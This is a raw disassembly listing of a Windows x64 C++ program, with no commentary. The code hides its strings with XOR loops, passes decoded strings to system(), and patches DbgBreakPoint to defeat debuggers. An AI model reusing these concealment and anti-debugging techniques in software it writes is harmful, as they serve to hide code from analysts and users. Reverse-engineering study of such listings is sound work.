call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0x470]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x470], rax
mov rax, qword [rbp + 0x470]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x46c], edx
lea rcx, [rbp + 0x478]
call fcn.1400182d0
lea rcx, [rbp + 0x480]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x518]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x110]
cmp rdx, 0x10
jb 0x140025c62
inc rdx
mov rcx, qword [rbp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140025c5d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140025c5d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007733c
mov qword [rbp + 0x108], rsi
mov qword [rbp + 0x110], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xf8], 0
mov rdx, qword [rbp + 0xd0]
cmp rdx, 0x10
jb 0x1400260cf
inc rdx
mov rcx, qword [rbp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400260ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400260ca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
movabs rax, 0xf1b4bca482e51a94
mov qword [rbp + 0x700], rax
movabs rax, 0x57bad8a391b610a2
mov qword [rbp + 0x708], rax
movabs rax, 0x611449a2947a1cb1
mov qword [rbp + 0x710], rax
movabs rax, 0xa9ff7b5647219b5
mov qword [rbp + 0x718], rax
movabs rax, 0x96f99fb924fa11a5
mov qword [rbp + 0x720], rax
movabs rax, 0xf25dd1b5a94410bc
mov qword [rbp + 0x728], rax
movabs rax, 0x8ab138a257051191
mov qword [rbp + 0x730], rax
movabs rax, 0x68e260a9d7990db1
mov qword [rbp + 0x738], rax
movabs rax, 0x31109d08fea2ff0
mov qword [rbp + 0x740], rax
movabs rcx, 0xce019bd053757fd0
mov qword [rbp + 0x748], rcx
movabs r14, 0xa194d9d0e7897fd0
mov qword [rbp + 0x6b0], r14
movabs rdi, 0x1f9aabd0f4d57fd0
mov qword [rbp + 0x6b8], rdi
movabs rax, 0x33465d0f1117fd0
mov qword [rbp + 0x6c0], rax
movabs rax, 0x6bf3d7d0161d7fd0
mov qword [rbp + 0x6c8], rax
movabs rax, 0xb69ef1d04c997fd0
mov qword [rbp + 0x6d0], rax
movabs rax, 0xd273a3d0cd257fd0
mov qword [rbp + 0x6d8], rax
movabs rax, 0xfec25dd077617fd0
mov qword [rbp + 0x6e0], rax
movabs rax, 0x1a970fd0f7ed7fd0
mov qword [rbp + 0x6e8], rax
movabs rax, 0x31109d0a1a97fd0
mov qword [rbp + 0x6f0], rax
mov qword [rbp + 0x6f8], rcx
movdqa xmm0, xmmword [rbp + 0x700]
pxor xmm0, xmmword [rbp + 0x6b0]
movdqa xmmword [rbp + 0x700], xmm0
movdqa xmm1, xmmword [rbp + 0x710]
pxor xmm1, xmmword [rbp + 0x6c0]
movdqa xmmword [rbp + 0x710], xmm1
movdqa xmm0, xmmword [rbp + 0x720]
pxor xmm0, xmmword [rbp + 0x6d0]
movdqa xmmword [rbp + 0x720], xmm0
movdqa xmm1, xmmword [rbp + 0x730]
pxor xmm1, xmmword [rbp + 0x6e0]
movdqa xmmword [rbp + 0x730], xmm1
movdqa xmm0, xmmword [rbp + 0x740]
pxor xmm0, xmmword [rbp + 0x6f0]
movdqa xmmword [rbp + 0x740], xmm0
mov qword [rbp + 0xd8], rsi
mov qword [rbp + 0xe8], rsi
mov qword [rbp + reloc.WS2_32.dll_ntohs0], 0xf
lea rax, [rbp + 0x700]
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140025eb0
mov r8, rbx
lea rdx, [rbp + 0x700]
lea rcx, [rbp + 0xd8]
call fcn.1400097a0
lea rax, [rbp + 0xd8]
mov qword [rsp + 0x50], rax
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x580]
call sub.VCRUNTIME140.dll_memset
movabs rcx, 0xd5ecadfe94ee10bc
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], rdi
mov qword [rbp + 0x690], r14
mov qword [rbp + 0x698], rdi
movdqa xmm0, xmmword [rbp - 0x50]
pxor xmm0, xmmword [rbp + 0x690]
movdqa xmmword [rbp - 0x50], xmm0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x580]
call fcn.140017c00
nop
cmp qword [rbp + 0x608], 0
je 0x140025fd5
movabs rax, 0x81e6b6a295ec5f8b
mov qword [rbp - 0x40], rax
movabs rax, 0x1f9aabd0d4f85f8d
mov qword [rbp - 0x38], rax
mov qword [rbp + 0x690], r14
mov qword [rbp + 0x698], rdi
movdqa xmm0, xmmword [rbp - 0x40]
pxor xmm0, xmmword [rbp + 0x690]
movdqa xmmword [rbp - 0x40], xmm0
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x580]
call fcn.140017090
lea rdx, [rbp + 0xd8]
cmp qword [rbp + 0xf0], 0x10
cmovae rdx, qword [rbp + 0xd8]
mov r8, qword [rbp + 0xe8]
mov rcx, rax
call fcn.140017420
lea rdx, [0x1400177f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0x580]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x580], rax
mov rax, qword [rbp + 0x580]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x57c], edx
lea rcx, [rbp + 0x588]
call fcn.1400182d0
lea rcx, [rbp + 0x590]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x628]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0xf0]
cmp rdx, 0x10
jb 0x140026072
inc rdx
mov rcx, qword [rbp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002606d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002606d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007733c
mov qword [rbp + 0xe8], rsi
mov qword [rbp + reloc.WS2_32.dll_ntohs0], 0xf
mov byte [rbp + 0xd8], 0
mov rdx, qword [rbp + 0xd0]
cmp rdx, 0x10
jb 0x1400260cf
inc rdx
mov rcx, qword [rbp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400260ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400260ca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007733c
mov ecx, ntohs
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_raise]
mov r15d, Ordinal_32
lea r14d, [r15 - 0x1a]
mov edi, dword [reloc.WS2_32.dll_accept]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea r8, [0x1400238b0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0xb0], rax
mov rdx, qword [0x140098a80]
cmp rdx, qword [0x140098a88]
je 0x14002612b
mov qword [rdx], rax
add qword [0x140098a80], 8
jmp 0x14002613e
lea r8, [rbp + 0xb0]
lea rcx, [0x140098a78]
call fcn.140017260
lea rcx, [0x14007bc70]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x140026188
lea rdx, str.DbgBreakPoint
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x140026188
lea r9, [rbp + 0xb0]
mov edx, 1
lea r8d, [rdx + 0x3f]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140026188
mov byte [rbx], 0xc3
lea rdx, [0x140023520]
lea rcx, [rbp + 0x130]
call fcn.140016df0
nop
cmp dword [rbp + 0x138], 0
je 0x140028808
movaps xmm0, xmmword [rbp + 0x130]
movdqa xmmword [rbp + 0x690], xmm0
lea rcx, [rbp + 0x690]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x140028813
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x130], xmm0
lea rdx, [0x1400202f0]
lea rcx, [rbp + 0x120]
call fcn.140016df0
nop
cmp dword [rbp + 0x128], 0
je 0x14002881b
movaps xmm0, xmmword [rbp + 0x120]
movdqa xmmword [rbp + 0x690], xmm0
lea rcx, [rbp + 0x690]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x140028800
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x120], xmm0
movups xmm0, xmmword [0x14007c4b0]
movups xmmword [rbp + 0x690], xmm0
movsd xmm1, qword [0x14007c4c0]
movsd qword [rbp + 0x6a0], xmm1
movzx eax, word [0x14007c4c8]
mov word [rbp + 0x6a8], ax
cmp byte [0x14007c4c9], 0
je 0x140026403
mov r8d, esi
cmp edi, 2
jl 0x1400263bf
movdqa xmm5, xmmword [0x14007c7b0]
movdqa xmm4, xmmword [0x14007c800]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14007c7d0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x694]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400262b0
cmp r8d, 0x1a
jge 0x140026403
movsxd rax, r8d
lea r9, [rbp + 0x690]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x1400263d0
lea rcx, [rbp + 0x690]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movsd xmm0, qword [0x14007c4d0]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x14007c4d8]
mov dword [rsp + 0x38], eax
cmp byte [0x14007c4db], 0
je 0x140026593
mov r8d, esi
cmp edi, 2
jl 0x140026555
movdqa xmm4, xmmword [0x14007c800]
movd xmm6, r14d
movd xmm5, r15d
movdqa xmm2, xmmword [0x14007c7b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14007c7d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
mov eax, dword [str.9999999999999999]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x14007c4d0]
pxor xmm2, xmm1
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x14007c7c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14007c7d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
pxor xmm2, xmm1
movd dword [rsp + 0x34], xmm2
mov r8d, 8
mov eax, r8d
lea r9, [rsp + 0x30]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140026560
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140017090
movups xmm0, xmmword [0x14007c4e0]
movups xmmword [rbp + 0x690], xmm0
movsd xmm1, qword [0x14007c4f0]
movsd qword [rbp + 0x6a0], xmm1
movzx eax, word [0x14007c4f8]
mov word [rbp + 0x6a8], ax
cmp byte [0x14007c4f9], 0
je 0x140026783
mov r8d, esi
cmp edi, 2
jl 0x14002673f
movdqa xmm5, xmmword [0x14007c7b0]
movdqa xmm4, xmmword [0x14007c800]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14007c7d0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x694]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140026630
cmp r8d, 0x1a
jge 0x140026783
movsxd rax, r8d
lea r9, [rbp + 0x690]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140026750
lea rcx, [rbp + 0x690]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140098a90]
call fcn.1400035e0
cmp byte [0x140098cc8], 0
jne 0x14002681e
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call fcn.140018ca0
movzx edx, byte [rax + 0xa]
test dl, dl
je 0x1400267f0
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor byte [rax + 5], 0x3e
xor byte [rax + 6], 0x3f
xor byte [rax + 7], 0x40
xor byte [rax + 8], 0x41
xor byte [rax + 9], 0x42
xor dl, 0x43
mov byte [rax + 0xa], dl
mov rdx, rax
mov rcx, r8
call fcn.140017090
mov rcx, rax
lea rdx, [0x140098cd0]
call fcn.140017070
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [0x140098a90]
call fcn.140007420
movups xmm0, xmmword [str.30eg_fc]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [0x14007c520]
movups xmmword [rbp + 0x40], xmm1
movups xmm0, xmmword [0x14007c530]
movups xmmword [rbp + 0x50], xmm0
movsd xmm1, qword [0x14007c540]
movsd qword [rbp + 0x60], xmm1
mov eax, dword [0x14007c548]
mov dword [rbp + 0x68], eax
movzx eax, byte [0x14007c54c]
mov byte [rbp + 0x6c], al
mov ecx, esi
cmp edi, 2
jl 0x1400269bc
movdqa xmm5, xmmword [0x14007c7b0]
movdqa xmm4, xmmword [0x14007c800]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14007c7d0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x30], xmm0
lea rdx, [rbp + 0x34]
mov r8d, dword [rsp + 0x30]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
pxor xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
pxor xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x38
jl 0x1400268b0
cmp ecx, 0x3d
jge 0x1400269fe
movsxd rax, ecx
lea r8, [rbp + 0x30]
add r8, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
sub al, dl
add al, 0x39
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x3d
jl 0x1400269d0
lea rdx, [rbp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140017090
mov qword [rbp + 0xd8], rsi
movdqa xmm0, xmmword [0x14007c7a0]
movdqu xmmword [rbp + 0xe8], xmm0
mov byte [rbp + 0xd8], 0
mov qword [rbp + 0xb8], rsi
movdqu xmmword [rbp + 0xc8], xmm0
mov byte [rbp + 0xb8], 0
mov qword [rbp + 0xf8], rsi
movdqu xmmword [rbp + 0x108], xmm0
mov byte [rbp + 0xf8], 0
lea rdx, [rbp + 0x118]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov ecx, dword [rbp + 0x118]
sub ecx, 1
je 0x140027a62
sub ecx, 1
je 0x140027248
cmp ecx, 1
je 0x140026c4e
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x40]
call fcn.140018c50
mov r9, rax
cmp byte [rax + 0x25], 0
je 0x140026c2f
cmp edi, 2
jl 0x140026bfa
movdqa xmm5, xmmword [0x14007c7b0]
movdqa xmm4, xmmword [0x14007c800]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14007c7d0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
nop
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x20
jl 0x140026af0
cmp esi, 0x26
jge 0x140026c2f
movsxd r8, esi
add r8, r9
mov eax, 0xa0a0a0a1
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, sil
sub al, dl
add al, 0x39
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x26
jl 0x140026c00
mov rdx, r9
mov rcx, r10
call fcn.140017090
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movups xmm0, xmmword [0x14007c608]
movups xmmword [rbp + 0x690], xmm0
movsd xmm1, qword [0x14007c618]
movsd qword [rbp + 0x6a0], xmm1
movzx eax, word [0x14007c620]
mov word [rbp + 0x6a8], ax
cmp byte [0x14007c621], 0
je 0x140026e23
mov r8d, esi
cmp edi, 2
jl 0x140026ddf
movdqa xmm5, xmmword [0x14007c7b0]
movdqa xmm4, xmmword [0x14007c800]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14007c7d0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x694]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140026cd0
cmp r8d, 0x1a
jge 0x140026e23
movsxd rax, r8d
lea r9, [rbp + 0x690]
add r9, rax
